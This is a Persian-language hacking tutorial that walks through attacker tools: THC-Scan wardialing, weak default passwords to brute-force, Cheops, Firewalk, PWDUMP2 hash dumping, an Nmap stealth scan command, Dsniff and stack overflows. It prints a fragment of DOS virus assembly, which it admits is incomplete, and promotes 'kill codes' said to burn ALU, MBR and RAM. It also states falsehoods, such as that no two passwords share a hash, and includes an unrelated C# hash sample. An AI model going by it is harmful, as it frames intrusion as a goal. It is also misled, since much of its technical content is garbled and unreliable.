با  Van Hauserبه صورت متحول شده و بسیار قابل انعطاف توسط  Tonelocنسخه قدرتمند  1998درسال 
 THC-Scanشاید بتوان ادعا کرد که . بودTonelocمعرفی شد که از بسیاري جهات شبیه  THC-Scanنام 

قابل اجرا  2و قوي بر روي ویندوزاین ابزار رایگان . مشهورترین و قدرتمند ترین ابزار حمله به مودم است
  .می باشد

اگر چه این ابزار داراي خروجی گرافیکی نیست  و درخط فرمان اجرا می شود اما بسیار قوي و سازمان 
  :به بخش هاي زیر تفکیک شده است THC-Scanصفحه خروجی . یافته و ساده است

 MODEM Widow :در این پنجره، فرامینی که از طرف THC-Scan  به سمت مودم مقابل ارسال
  3.شده است و همچنین پاسخ هاي دریافتی مشاهده می شود

                                                             
1 Auto Dial 
2 9x , NT , 2000 , XP 
Hayes است3 این فرامین سازگار با دستورات مودمهاي   
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در این پنجره زمان فعلی، زمان شروع و زمان احتمالی خاتمه جست و جوي مودمها : Timeپنجره  
  .نشان داده می شود

  .هرگاه یک مودم کشف شود در این پنجره نشان داده خواهد شد: Foundپنجره  
در این پنجره گزارش لحظه به لحظه مودمهاي کشف شده،وجود سیگنال حامل از : Statisticپنجره  

یک مودم، تخمینی از تعداد تماس در هر ساعت و برخی دیگر از گزارشهاي مفید به کاربر داده 
  .می شود

 در این پنجره، تمام عملیات انجام شده به همراه زمان انجام و مشخصات آن: Log Windowپنجره  
  .اطلاعات این پنجره براي بررسی هاي بعدي درون یک فایل ذخیره می شود. درج می شود

  :برخی از ویژگی هاي عمده آن عبارتند از: THC-Scanویژگی هاي 

 Dial random, Sequential or List of Number :THC-Scan  قادر است شماره تلفن هاي مشخص
شده را به صورت تصادفی و درهم جست و جو کند یا آنکه پشت سرهم باشماره ها تماس بگیرد؛ 

 .همچنین کاربر می تواند ترتیب شماره ها را توسط یک فایل در اختیار آن قرار بدهد

 Nudging:  عملNudging بدین معناست که THC-Scan رشته اي  ،پس از کشف یک مودم فعال
این عمل براي آن است که پاسخ مودم . از کاراکترهاي از قبل مشخص را براي آن ارسال می نماید

یا پیام هشدار دریافتی نوع سرویس دهنده مودم  Login Promptمقابل، مشاهده شود و بابررسی 
 .این مشخصه براي حملات بعدي علیه مودم کارساز خواهد بود. تعیین شود

اگر نفوذگر خوش شانس باشد مودم . این است که نفوذگر مودم مورد نظر را پیدا کرده استحال فرض بر 
در این صورت چه باید . از او رمز عبور نمیخواهد اما اگر بدشانس باشد مودم از او رمز عبور میخواهد

  کرد؟

دي او حدس زدن اگر نفوذگر با مودمی مواجه شود که براي ورود او کلمه عبور تقاضا می کند، اقدام بع
او براي این کار می تواند از ابزارهاي خودکار استفاده کند . به آن سیستم است 1کلمه عبور و ورود به زور

یک  ابزار جهت ورود به سیستم هایی است که  THC Login Hacker. یا آنکه به صورت دستی عمل نماید
  .از کاربر کلمه عبور تقاضا می مایند

                                                             
1 Brute Force 
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کلمه عبور بسیار وقت گیر خواهد بود؛ ولی تنها سرمایه یک نفوذگر براي نفوذ به به هر حال عمل کشف 
درمورد روش . سیستم، زمان است و احتمالا براي این کارساعت ها و یا حتی هفته ها وقت باید هزینه کند

هاي حدس کلمه عبور و همچنین نحوه رمز گذاري توسط مدیران باتجربه خود به تنهایی میتواند یک 
تاب باشد اما جهت آشنایی تعدادي از رمز هاي بسیار ساده که مدیران ناشی و کم تجربه از آن ها براي ک

  :راحتی کارخود استفاده می کنند را بیان می کنیم

 <blank> 
 Root 
 Sync 
 Nobody 
 Operator 
 Manager 
 Admin 
 Administrator 
 System 
 Days of the week 
 COMPANY_NAME 
 COMPANY_PRODUCT 

 1نرم افزار نقشه برداري از شبکه) 3- 3-3

همانگونه که در مباحث قبل بیان شد، نفوذگري درشبکه، همانند یک جنگ نظامی می باشد و یکی از 
در نفوذگري به شبکه . اقدامات پیش از حمله و هدف از عملیات شناسایی نقشه برداري از منطقه می باشد

یق از شبکه داشته باشیم تا به درستی و راحتی وارد شبکه شده نیز پیش از حمله باید یک نقشه جامع و دق
  .و حمله مورد نظر را انجام داده و سپس با پاك کردن رد پا خارج شویم

و تحلیل نتیجه آن، توپولوژي شبکه  Tracerouteو  Pingهرچند نفوذگر قادر خواهد بود از طریق فرامین
گر می برد درحالی که یکی از با ارزش ترین داشته هاي هدف را استخراج کند، ولی وقت بسیاري از نفوذ

نرم افزاري است که عمل استخراج توپولوژي شبکه را به صورت خودکار و  Cheops. نفوذگر زمان است
  . دقیق به ما نشان می دهد

  .می باشد Linuxنوشته شده و تحت  Mark Spencerاین نرم افزار توسط شخصی به نام 

                                                             
1 Cheops 
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Cheops ، اسـتخراج و کشـف مـی نمایـد    ، 1شبکه را از طریق روالـی کـه توضـیح داده شـد     توپولوژي .
از روشـهاي ظریفتـري نیـز بـراي      Tracerouteو  Pingاین نرم افـزار بـه غیـر از بهـره بـردن از فـرامین       

از  SSH2یـا   FTPمـثلا برقـراري ارتبـاط بـا سـرویس دهنـده       . بالا بردن عملکرد خود استفاده مـی کنـد  
  . آن جمله اند

3-4 (Firewalk  علیهFirewal  

بدیهی است اگر در شبکه هیچ گونه فیلتـر یـا دیـواره آتـش نداشـته باشـد،آن شـبکه بـه راحتـی میـدان           
تاخت و تاز ابزارهاي پویشگر پورت قرار خواهـد گرفـت و هرفـرد بـی تجربـه نیـز قـادر خواهـد بـود          

  .تا ماشین هاي شبکه شما را برانداز نماید

پـورت هـاي بـاز، تعیـین پروسـه هـاي فعـال روي ماشـین هـدف و تعیـین           پویش و جسـت و جـوي   
نفـوذگر قبـل از هـر اقـدامی،     . سیستم عامل ماشین هاي هدف، بـراي شـروع یـک حملـه کـافی نیسـت      

فرامـوش نکنیـد اگـر در شـبکه یـک      .تلاش می کند جزئیـات بیشـتري را از شـبکه هـدف بدسـت آورد     
دیـواره آتـش نصـب کـرده ایـد، درحقیقـت کـار را بـراي         مسیریاب، با قابلیت فیلترینگ بسته، یـا یـک   

نفوذگر سخت کرده اید نه غیرممکن؛ زیرا دیـواره آتـش یـا فیلتـر تنهـا یـک ابـزار اسـت کـه یکسـري           
قواعد را به اجرا می گذارد درحالی کـه نفـوذگر از تمـام هـوش و تجربـه خـود بـراي نفـوذ بـه شـبکه           

  .بهره می برد

اسـت کـه    Firewakنـرم افـزار    زیرکانه کـه میتوانـد در اختیـار نفـوذگر باشـد     یکی از ابزارهاي بدیع و 
این نـرم افـزار سـعی مـی کنـد تـا متوجـه شـود چـه شـماره پـورت            . استفاده می شود Firewalبر ضد

مــی  Nmapبازمانــده اســت؛ در حقیقــت مکمــل نــرم افــزار پرکــاربرد 3هــایی از طریــق دیــواره آتــش
د کـه کـدام پـورت بـر روي ماشـین نهـایی بـاز اسـت و کـدام یـک           قادر نخواهد بو Nmapباشد، زیرا 

  .بسته

                                                             
Pingو تحلیل نتیجه آن  1 Traceroute و  از طریق فرامین   
2 Secure Shell 
3 Firewal 
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سـعی مـی کنـد قواعـد فیلترینـگ دیـواره آتـش شـبکه را          Firewakدر یک جمله ساده باید عرض کنم 
شما اگر مسئول شـبکه اي هسـتید لازم اسـت تـا قبـل از آنکـه نفـوذگر از ایـن برنامـه          . استخراج نماید

ده کنـد، شـما خودتـان ایـن برنامـه را علیـه شـبکه اسـتفاده کنیـد تـا           علیه شبکه شما جهت نفوذ اسـتفا 
ایـن نـرم افـزار هماننـد دیگـر برنامـه هـاي        . ایرادات موجود در دیواره آتـش شـبکه را متوجـه شـوید    

  .قدرتمند بر روي برنامه لینوکس اجرا می شود

  PWDUMP2نرم افزار پسوردیاب ) 3-5
اسـتفاده مـی شـود، کـه بـا       NTبـر پسـوردهاي وینـدوز    این نرم افزار وسیله اي است که جهـت غالـب  

 ایـن نـرم افـزار بـه منظـور جـایگزینی و اجـراي کـد از        . ، محافظـت شـده اسـت   Syskeyرمز گـذاري 

PWDUMP2    ــاربر ــتن ک ــه و م ــود در حافظ ــد،    DLL Injectionاز  Lass.exeموج ــی کن ــتفاده م اس
بـه   Password Hashesنـام  حـال کـه    .رابـازگردانی مـی کنـد    Password Hashesسـپس فایـل حـاوي    

  .میان آمد بد نیست توضیحی نیز درمورد این سیستم رمز نگاري امن بدهیم

هـش را میتـوان بـه عنـوان      چیسـت؟ 1امـا هـش  . اسـتفاده مـی شـود    PHPاین مکانیسم روي فایل هـاي  
از  2)ثابـت (بـا ایـن روش شـما مـی توانیـد رشـته اي انـدازه       .یک اثر انگشت دیجیتالی در نظـر گرفـت  

کشـف  . یک داده بدست آورد، که با روش ریاضـی بـه صـورت یـک طرفـه رمـز نگـاري شـده اسـت         
ــش آن  ــز ه ــلی از رم ــته اص ــی     رش ــق مهندس ــورد از طری ــت آوردن پس ــر بدس ــارتی دیگ ــه عب ــا ب ی

نکتـه دیگـر ایـن کـه هـر داده یـک رشـته هـش، کـاملا          . معکوس،به صورت کارا تقریبا غیرممکن است
  .اشدمنحصربه فرد و یکتا می ب

زیـرا اگـر نفـوذگر بتوانـد بـه      .این خواص، هـش کـردن را بـه روشـی کـارا و ایـده آل تبـدیل میکنـد        
سیستم بانک اطلاعـاتی شـما نفوذکنـد و فرضـاً بـه مقـداري از اطلاعـات شـما دسـت یابـد، بـه طـور             

یکـی از  . حتم نمی تواند رمزهایی را که به وسیله هـش کـردن سـاخته ایـد بـازگردانی کنـد بـه راحتـی        

                                                             
1 Hashe 
2 Fixed Length 
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صوصیات هش کـردن ایـن اسـت کـه معکـوس پـذیر نیسـت و دیگـر خصوصـیت ایـن روش ایـن            خ
  .است که دو پسورد، خروجی یکسانی ندارند

  :انواع هش
 (128 bits, obsolete)  MD4 
 (128 bits)  MD5   
 (160 bits)  160-RIPEMD   
 (160 bits)  1-SHA   
 SHA-256, SHA-384, and SHA-512 (longer versions of SHA-1, with slightly 

different designs) 

  

بـراي شـما قـرار مـی      #Cدر زبـان   بیشـتر تکـه کـدي از نحـوه هـش کـردن را      در ادامه جهت آموزش 
  :دهم

using System; 
 
public struct Number 
{ 
   private int n; 
 
   public Number(int value) 
   { 
      n = value; 
   } 
 
   public int Value 
   { 
      get { return n; } 
   } 
 
   public override bool Equals(Object obj) 
   { 
      if (obj == null || ! (obj is Number))  
         return false; 
      else  
         return n == ((Number) obj).n; 
   }       
 
   public override int GetHashCode() 
   { 
      return n; 
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   } 
 
   public override string ToString() 
   { 
      return n.ToString(); 
   } 
} 
 
public class Example 
{ 
   public static void Main() 
   { 
      Random rnd = new Random(); 
      for (int ctr = 0; ctr <= 9; ctr++) { 
         int randomN = rnd.Next(Int32.MinValue, Int32.MaxValue); 
         Number n = new Number(randomN); 
         Console.WriteLine("n = {0,12}, hash code = {1,12}", n, n.GetHashCode()); 
      }    
   } 
} 
// The example displays output like the following:  
//       n =   -634398368, hash code =   -634398368  
//       n =   2136747730, hash code =   2136747730  
//       n =  -1973417279, hash code =  -1973417279  
//       n =   1101478715, hash code =   1101478715  
//       n =   2078057429, hash code =   2078057429  
//       n =   -334489950, hash code =   -334489950  
//       n =    -68958230, hash code =    -68958230  
//       n =   -379951485, hash code =   -379951485  
//       n =    -31553685, hash code =    -31553685  
//       n =   2105429592, hash code =   2105429592 

  

 1ابزار تست وبسایت) 3-6

ش نفـوذ بـه وب سـایت هـا وجـود دارد کـه ایـن ابـزار دنبـال آسـیب           تعدادي ابزار ویژه جهت آزمـای 
و سـایر فایـل هـاي قابـل اجـرا مـی باشـند کـه مـی تـوان از آن هـا جهـت              2پـذیریهایی در پردازنـده  

  .، برخلاف مکانیسم هاي تاییدي استفاده کرد3تهاجمات

                                                             
1 Web-Testing Tools 
2 Common Gateway Interface(CGI) 
3 Brute Force 
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هی میتـوان  گـا .اکثر اسکنرهاي خودکار آسیب پذیري جهـت آزمـایش وبسـایت هـا بـه کـار مـی رونـد        
براي رخنه و نفوذ بـه جـاي اسـتفاده از نـرم افزارهـاي تسـت آسـیب پـذیر، میتـوان از کـدها و برنامـه            

  .هاي جاسوسی مانند تروجان ها، اسب هاي تراوا، باگ ها و یا در هاي پشتی استفاده کرد

سـرویس  . مـی باشـد   Site Scanیکـی از نـرم افزارهـاي آسـیب پـذیري وب سـایت نـرم افـزار قـوي          
ایـن نـرم   . هنده هاي وب به دلیل داشـتن ویژگـی هـاي بیشـتر از قابـل کنتـرل، شـناخته شـده هسـتند         د

، جهت دست یـابی بـه ایـن ویژگـی هـاي قابـل بهـره بـرداري مـی          Rhin09افزار، وسیله اي مناسب از 
باشد؛ کـه بـه طـور خودکـار چنـدین بهـره بـرداري را بـرخلاف سـرویس دهنـده هـاي وب بـه کـار              

اصـلاحات   ه این نوع تهاجمات قدیمی شـده انـد، امـا تعـداد مـدیرانی کـه جهـت حفـظ        اگر چ. میگیرد
  .امنیتی این کار را می کنند کم نیستند

مـی باشـد کـه در ایـن مقالـه،       Nmapیکی دیگر از نرم افزارهاي تست آسیب پذیري، نـرم افـزار قـوي    
  .سعی دارم تا حدودي قابلیت هاي این نرم افزار شگفت انگیز را به شمامعرفی نمایم

اکثـر  . یکی از ویژگی هـاي بسـیار ارزشـمند ایـن نـرم افـزار، توانـایی در اسـکن هـاي مخفیانـه اسـت           
ــوع از . را برقــرار مــی کننــد TCPاســکنرهاي پــورت بــا سیســتم هــدف، ارتبــاط هــاي کامــل   ایــن ن

اسـکنرهاي مخفـی تنهـا بخشـی از     . اسکنرها به سادگی توسط شبکه میزبـان قابـل شناسـایی مـی باشـند     
را ایجـاد نمـی    TCPبـه کـار میگیـرد و ارتبـاط کامـل      SYNیـا   FINرا از قبیل بسـته هـاي   TCPاتصال

  .کنند

-SYNکننـده اي را جهـت ارسـال    ، و دریافـت  SYN، فرسـتنده اي را جهـت ارسـال   TCPاتصال کامـل 

ACK  ــا ــت پاســخگویی ب ــتنده اي را جه ــه    ACK، و فرس ــد س ــه تایی ــن موضــوع ب ــه ای ــردارد ک در ب
ــاره دارد ــوره اش ــک  .منظ ــبکه اســت   IDSی ــک ش ــاي خاصــی در ترافی ــال الگوه ــه دنب ــیله . ب ــه وس ب

یـا مـدیر سیسـتم کـه ارتبـاط هـاي سیسـتم را بررسـی          IDSپراکندگی اسکن، الگوي ترافیک شـبکه بـا   
، پراکنـدگی مـی توانـد    IDS ، هنگـام بررسـی  IDSعـلاوه بـر نادیـده گـرفتن     . می کند شناخته نمی شود

  .بسیار مفید باشد
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IDS        با قابلیت کاري، باید قـادر بـه تشـخیص اسـکن مخفیانـه و تقسـیم شـدهNmap1 ـ  ایـن نـرم   . دباش
اسـکن مخفیانـه   و  TCP 2 اسـکن پـورت  : اسـکن شـبکه هـا مـی باشـد      افزار داراي چندین گزینه جهت

TCP SYN3  و اســکن هــاي مخفیانــهFIN4  و اســکن هــاي پــورتUDP5 . ترتیــب ایــن اســکن هــاي
مخفیانــه درمرحلــه اول گــیج کننــده بــه نظــر مــی رســد، امــا در اینجــا دســتوري وجــود دارد کــه بــا  

  :6را اجرا کرد SYNبکارگیري آن می توان اسکن مخفیانه

#nmap-sS-o-po-f-p7,9,13,21,25,135-139,5800,etc.-v-o 

Out Putfile: Txt 10.10.10.10-10.10.10.100  

ایـن نـرم افـزار    . مـی باشـد   Snortیکی از نرم افزارهایی که میتوان در ایـن حـوزه جـاي داد نـرم افـزار     
را ربـوده و   LANایـن نـرم افـزار ترافیـک جـاري بـر روي       . طراحی شده اسـت Martin Roeschتوسط 

در ایـن نـرم افـزار    . به روش هاي موثر و مناسبی غربالگري می کنـد و دریـک فایـل ذخیـره مـی نمایـد      
  .قابلیت اسکریپت نویسی وجود دارد، که به آن انعطاف پذیري بسیار زیادي بخشیده است

ل مـی  اگرچه در مرحله اول به نظـر مـی رسـد ایـن نـرم افـزار، اهـداف خرابکارانـه و مخربـی را دنبـا          
بهـره   7کند، درحالی که به راحتی مـی تـوان از آن بـه عنـوان یـک سیسـتم کشـف مزاحمـت و اخـلال         

انجـام مــی دهــد، جمـع آوري و بررســی ترافیـک جــاري شــبکه     IDSدر حقیقــت عملـی کــه  . گرفـت 
، IDS8یــک موتــور Snortبــراي ابــزار. انجــام مــی دهــد Snifferاســت؛ دقیقــاً مشــابه کــاري کــه یــک 

کـه بـه همـراه قابلیـت اسـکریپت نویسـی مـی توانـد خـدمت بزرگـی بـه مسـئول             طراحی شده اسـت  
  .شبکه براي نظارت دقیق تر برروي ترافیک جاري شبکه داشته باشد

نوشـته   Dug Songایـن ابـزار توسـط گـروه      .مـی باشـد   Dsniffیکی دیگر از ابزارهاي این حوزه، ابـزار 
و متنـوعی بـراي اسـتراق سـمع و ربـودن       شده و دربرگیرنـده ابزارهـا و تکنیـک هـاي بسـیار منعطـف      

                                                             
1 –F و   -sS  Nmap با گزینه هاي 
2 (-ST) 
3 (-sS) 
4 (-sF) 
5 (-sU) 
 البته به خاطر داشته باشید که یونیکس، یک موضوع حساسی است 6
7 Intrusion Detection System(IDS) 
8 IDS Engine 
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ــد  ــی باش ــبکه م ــا از روي ش ــوکس،   . فریمه ــل لین ــتم عام ــرروي سیس ــزار ب ــرم اف ــن ن و  OpenBSDای
ــال انتقــال   ــر روي ربــودن اطلاعــات از روي کان ــل اجــرا اســت و تمرکــز اصــلی آن، ب ســولاریس قاب

  .ست،تحلیل بسته ها، دسته بندي و استخراج اطلاعات حساس از آنها LANشبکه 

ایـن نـرم افـزار، ترافیـک جـاري بـرروي        .را بررسـی مـی کنـیم    Dsniffدر ادامه برخی از قابلیت هـاي  
شبکه را براساس شماره پورت، و مشخصـات پروتکـل لایـه کـاربرد، دسـته بنـدي کـرده و بسـته هـاي          

یعنــی بســته هــایی کــه . مــرتبط بــا بســیاري از پروتکلهــاي مشــهور را اســتخراج و تفســیر مــی نمایــد
شــوند را بــه صــورت مجــزا و درلایــه کــاربرد و از طریــق پروتکلهــاي مشــهور تولیــد و مبادلــه مــی  

  .براساس تمایل و انتخاب کاربر، در اختیار قرار می دهد

. قدرتمنـد تـرین و خطرنـاك تـرین اسـنیفر موجـود اسـت        Ddniffتذکر قابل تاملی که هسـت ایـن کـه،   
مجموعه پروتکل هایی که این نرم افزار بسـته هـاي متعلـق بـه آنهـا را دسـته بنـدي و تفکیـک کـرده و          

  :این پروتکل هاي لایه کاربردي عبارتند از. وذگر قرار می دهد، باورنکردنی استدر اختیار نف

FTP , TelNet , SMTP , POP , poppas , NNTP , IMAP , SNMP , LDAP , Rlogin , RIP , 
OSPF , NFS , YP/NIS , SOCKS , X11 , CVS , IRC , AIM , ICQ , NAPSTER , 
postgreSQL , MEETING , MAKER , Citrix ICA , Symantec pcanywhere , NAI Sniffer 
, Microsoft SMB , Oracle SQL NET , Sybase SQL , Microsoft SQL 

تقریبا هیچ متخصـص تمـام عیـار و کـاملی قـادر نخواهـد بـود درون فـایلی کـه در آن، هـزاران بسـته            
ایـن همـه پروتکـل بگـردد،     به صورت درهم و راکنده ذخیره و ربوده شـده، بـدنبال ردپـاي بسـته هـاي      

  .آنها را پردازش، بازسازي و تحلیل نماید

  حمله از راه پشته) 3-7
دسترسـی بـه آیتمهـا، مبتنـی     . پشته یک نوع ساختمان داده که آیـتم هـاي داده در آن ذخیـره مـی شـود     

ــر روش ــره شــده در پشــته   اســت  LIFO1ب ــه آخــرین عنصــر ذخی ــوان ب ــی ت ــی در هــر لحظــه م ؛ یعن
بـراي دسترسـی بـه عناصـر زیـرین یـک پشـته، ابتـدا بایـد عناصـر روي آن، از پشـته            . دسترسی داشت
بـراي تجســم یـک پشـته، بشــقاب هـایی را درنظـر بگیریـد، اولــین ظرفـی را کـه مــی         . خـارج شـوند  

                                                             
1 Last In First Out 
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. ف را روي آن و بـه همـین ترتیـب تـا آخـرین ظـرف      شورید روي یک میز قـرار میدهیـد، دومـین ظـر    
حال می خواهید ظرف ها را درون کابینـت خانـه مرتـب کنیـد، ابتـدا آخـرین ظرفـی را کـه قـرار داده          
اید برمیدارید سپس یکی مونده به آخر و همین گونه بـر میداریـد تـا برسـید بـه اولـین ظرفـی کـه بعـد          

، بـه ایـن عمـل قـرار     همـین مکـانیزم را عمـل مـی کنـد      پشـته دقیقـا  . از شستن روي میز قرار داده اید
  .گفته می شود Popو برداشتن اطلاعات از پشته Pushدادن اطلاعات روي پشته 

اجزاي سیستم عامل و همچنین برنامه هـاي کـاربردي، ازپشـته بـراي مقاصـدي ماننـد فراخـوانی توابـع         
  :کد زیر نمونه اي از یک پشته می باشد.استفاده می کنند

Void sample_function(void) 

{ 

Char  buffer[10]; 

Printf ( "Happy Happy !\n"); 

Return; 

} 

Main() 

{ 

Sample_function(); 

Printf("Hello Woold!\n"); 

آشـنا بـوده و از توضـیح     Cبه علت کمبود وقت، بنارا بر ایـن میگـذاریم کـه شـما بـا زبـان اسـمبلی و        
اگـر بـه عنـوان شـخص تـازه واردي میخواهیـد دنیـاي امنیـت را بـراي          .روال برنامه خودداري می کـنم 

فعالیت مجـازي انتخـاب کنیـد، پیشـنهاد بنـده ایـن اسـت کـه ابتـدا زبـان هـاي برنامـه نویسـی اولیـه               
امـا سـوال اینجاسـت     .را فـرا گرفتـه و سـپس وارد دنیـاي امنیـت شـوید       #Cو C ،PHPهمانند اسمبلی، 

که این روال پشته آیا نقاط آسیب پـذیري دارد؟ چگونـه مـی تـوان از طریـق پشـته حمـلات سـخت و         
. جبران ناپذیري به شـبکه هـدف کرد؟بـراي درك بهتـر پاسـخ ایـن سـوالات بـراي شـما مثـالی میـزنم           

ظـر علمـی و   ایـن کـار نـه از ن   . لیتـري بریـزیم  4لیتر آب داریم و میخـواهیم در یـک ظـرف   8فرض کنید 
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لیتـر آن  4نه از نظر عملی امکان پذیر نیست امـا مـا باسـماجت ایـن کـار را میکنـیم ولـی ظـرف وقتـی          
. بـراي پشـته نیـز همـین گونـه اسـت       .پرشد چه اتفاقی میافتد؟ خب مشخص است که سرریز مـی کنـد  

بـاحجم  ، داده هـایی  1نفوذگر میتواند به صورت عمـد در فضـاي بـافر درنظرگرفتـه شـده بـر روي پشـته       
بزرگتر از آن قـرار بدهـد، بـه گونـه اي کـه حـریم ایـن فضـاها شکسـته شـده و فضـاي زیریـرن ایـن              

چون ایـن فضـا شـامل اطلاعـات و داده هـاي حیـاتی و مهمـی بـراي برگشـت          .ناحیه نیز با داده پر شود
یعنـی آغـاز بحـران فروپاشـی     (توابع اسـت، لـذا سرنوشـت ادامـه رونـد اجـرا مشـخص نخـواده بـود         

  :براي روشن شدن بهتر موضوع به تکه کد زیر توجه فرمایید ).شبکه

Void sample_function(char *staring) 

{ 

Char buffer[16]; 

Strcpy(buffer, string); 

} 

Void main() 

{ 

Char  big_buffer[256]; 

Int I; 

For(i=1; i<255; i++) 

            Big_buffer[i] = ‘A’; 

Sample_function(big_buffer); 

} 

 

اول ایـن کـه حـریم پشـته قطعـاً      . اما دو نکته تلخ و غم انگیـز درخصـوص تکـه کـد بـالا وجـود دارد      
ــاراکتر ــی شــود و  Return Pointer , Frame Pointerدرفضــاي ’A’نقــض شــده اســت و ک نوشــته م

بـه اتمـام رسـید، بـراي      حـال وقتـی کـه کـار تـابع     . بالطبع مقادیر صحیح آن ها از دست خواهد رفـت 
                                                             
 که به منظور ذخیره متغیرهاي محلی درنظر گرفته شده است 1
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بازگشت به برنامه اصلی از آدرسی استفاده مـی شـود کـه کـاملاً غلـط اسـت و در نتیجـه رونـد اجـرا،          
  .به مکانی نامعلوم و مبهم از حافظه انتقال داده می شود و برنامه درهم خواهد شکست

نوشـته مـی    Return Pointerاما خبر تلخ تر و غم انگیزتر این اسـت کـه اگـر داده هـایی کـه در فضـاي      
شود؛ دقیق و منظم تنظیم شده باشد، ممکـن اسـت بتـوان بازگشـت از توابـع را بـه یـک نقطـه دلخـواه          
از حافظه هدایت کرد؛ نقطه اي کـه در آنجـا کـدهاي مخـرب و اجرایـی نفـوذگر آمـاده نـابودي شـبکه          

  .می باشند

  1کدهاي سیاه) 3-8
افـزار اسـتفاده مـی کردنـد و تهیـه ایـن نـوع نـرم         اما این شیوه هـاي یادشـده همـه بـه نـوعی از نـرم       

در ادامـه مطالـب بـه ویـروس نویسـی و کـدهاي مخـرب میرسـیم کـه          . افزارها نیز چندان مشکل نیست
مجدداً تاکید میکنم دوسـتانی کـه بـا زبـان هـاي اولیـه برنامـه نویسـی تحـت وب و کـامپیوتر آشـنایی            

ایـن صـورت خـود بـه دنبـال کـد نویسـی نیسـتند و          ندارند بهتر است وارد دنیاي امنیت نشوند زیرا در
از اینترنت کمک میخواهند و گـاهی نیـز اینترنـت بـا نـامردي تمـام کـدهایی بـه آن هـا میدهـد کـه در            

  .مرحله اول سیستم خود را نابود می کنند

و یـا   Cبه طور کلی هرگونه کدمنبعی که توسط هـر زبـان برنامـه نویسـی چـه زبـان سـطح بـالا ماننـد          
یین مانند اسمبلی و یا حتـی زبـان هـاي برنامـه نویسـی مفسـر ویـا واسـط ماننـد زبـان برنامـه            سطح پا
بــه منظــورخراب کــاري و ضــربه زدن بــه یــک شــبکه طراحــی شــوند راکــدهاي  Java Scriptنویســی

 HTMLحتی مدیران حرفـه اي و باتجربـه یـک شـبکه بـه کـدهاي بسـیار سـاده و اولیـه          . سیاه می نامند
  .پیش از هر اقدامی آن را مورد آزمایشات حرفه اي قرار می دهند اعتماد ندارند و

معـروف هسـتند،   2گروهی از ویروس ها هستند که بین نفـوذگران و اخـلال گـران بـه نـام کـدهاي قاتـل       
  .کامپیوتر شما شوند RAMو یا حتی سوختن  MBRو  ALUزیرا به راحتی باعث سوختن 

                                                             
1 Black Code 
2 Kill Code 
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سـیاه هسـتند؛ زیـرا کـدهاي سـیاه اگـر روي یـک سیسـتم         کدهاي قاتل بسیار خطرناك تـر از کـدهاي   
اجرا شوند، آن سیستم میتواند با چنـدبار ویـروس کشـی و اقـدامات دیگـر بـه حالـت اولیـه بـازگردد،          
اما اگر کدهاي قاتل روي سیستم اجـرا شـوند دیگـر نمیتـوان آن سیسـتم را بـه حالـت اولیـه بازگردانـد          

ــن  ــد و ای ــداري کنی ــدي خری ــه یــک شــبکه   و بایــد سیســتم جدی ــه ب ــرین حمل ــدترین و ترســناك ت ب
  .کامپیوتري بزرگ مثل یک اداره می باشد

یـک تکـه کـد بسـیار نـاقص را بـراي       ) کـدهاي قاتـل  (جهت آشنایی با این کدهاي سنگدل و بی رحـم 
شما قرار می دهـم کـه کـارش حملـه بـه سـخت افـزار اسـت، ایـن تکـه کـد در زبـان سـطح پـایین               

  :اسمبلی نوشته شده است

.286 

Code   egment 

Assume cs: code , ds:code 

Org 100h 

Start: CALL NEXT 

NEXT: 

Mov di,sp            ;Take The stack Pointer Location 

Mov bp,ss:[di] 

Sub bp, offset next 

Cmp byte ptr cs:[crypt] , 0b9h 

Je crypt2 

Mov cx , offset fin 

Li di , [offset crypt] + bp 

Mov dx,1 

Deci 

Yinc di 

Inc di 
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Jmp bye           ;###   bye bye my frend   ### 

Bye: 

Mov ah,0bh 

Int 21h 

Loop deci 

Crypt: 

Mov cx,offset fin 

Lea di,[offset crypt2] + bp 

Crypt2: 

Mov ax, 0cacah 

Int21h 

Cmp bh,0cah 

Je pum2 

Call action 

Ycall trash_rn 

Call anti_v 

Mov ax,3521h 

Int 21h 

Mov word ptr [bp+int21] , bx 

Mov word ptr[bp+int21+2] , es 

Push cs 

Pop ax 

Dec ax 

Mov es ,ax 

Mov bx , es[3] 
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تکه کدي که در بـالا مشـاهده کردیـد کـاملا نـاقص اسـت، امیـدوارم هـیچ وقـت نخواهیـد در دنیـاي            
 ـ    ناك تـر از اون ایـن کـه بخواهیـد اول روي     بی رحم اینترنت دنبال همچـین کدترسـناکی باشـید و ترس

امـا پـیش   .سیستم خودتان اجرا کنید، در این صورت باید بـه فکـر سیسـتم جدیـدي بـراي خـود باشـید       
  . از شروع کار باید دوتا اصطلاح جامع را توضیح بدهم

Local Exploit  وRemot Exploit  ــه ــان   Remot Exploitک ــع هم ــا   Local Exploitدر واق ــت ب اس
این تفاوت که شـبکه اي بـه سـورس کـد اضـافه شـده و درنتیجـه فقـط در آزمایشـگاه هـا و بـرروي            
شبکه هاي داخلی امتحان می شود، که در صـورت موفـق بـودن بـراي نفـوذ و آمـاده بـودن همـه چیـز          

البتـه در اینجـا بـد نیسـت      .نیـز بـه آن اضـافه مـی شـود      Localجهت حمله به شبکه موردنظر، قسـمت  
هاي مهم جنگـی نیـز اشـاره کـنم کـه خـود مبحـث گسـترده اي اسـت امـا در ایـن             Wrmنقش مهم  به

  .بحث نیز نقش فعال و سرنوشت سازي را بازي میکند

نویسـی مقـداري سـخت و مـلال آور باشـد، امـا وقتـی کـه دسـتتان در ایـن            Exploit  شـاید در ابتـدا  
خواهیـد چشـید کـه در تمـامی شـبکه هـا       زمینه روان شد، تازه طعم شـیرین یـک هکـر کـلاه سـفید را      

همانگونـه کـه گفـتم     Local امـا قبـل از پـرداختن بـه مبحـث     . مورد عزت و احتـرام واقـع مـی شـوید    
Remot  ــاز ــد قبــل از اجــراي عمــل اصــلی، کــدها را در یــک آزمایشــگاه   Localپــیش نی اســت و بای

در . محلی امتحـان کـرد و درصـورت جـواب گـرفتن آن را بـه کـدهاي خطرنـاك و جاسـوس در آورد         
حکــم یــک مربــی آموزشــی را دارد کــه میخواهــد تعــدادي رنجــر و کمانــدو را تربیــت  Remotواقــع 

باهی انجـام داده و بـدون ایـن کـه اثـري از خـود جـاي        کند تا دستورات شما را بدون هیچ خطا و اشـت 
  .بگذارند پس از حمله برگردند

اما هر آموزشی یک سـري ابـزار و تجهیـزات لازم دارد کـه در اینجـا حیـاتی تـرین ابـزار و تجهیـزات          
ــن مبحــث،  ــد  Socket Programmingای ــی باش ــم اســت در بحــث   وم ــیار مه ــه Remotبس ــه وظیف ، ک

ــوع   ــخیص ن ــده دارد شناســایی و تش ــه را برعه ــه اولی ــدف و حمل ــی از. ه ــدوز را   Exploit بعض ــط وین ــا فق ه
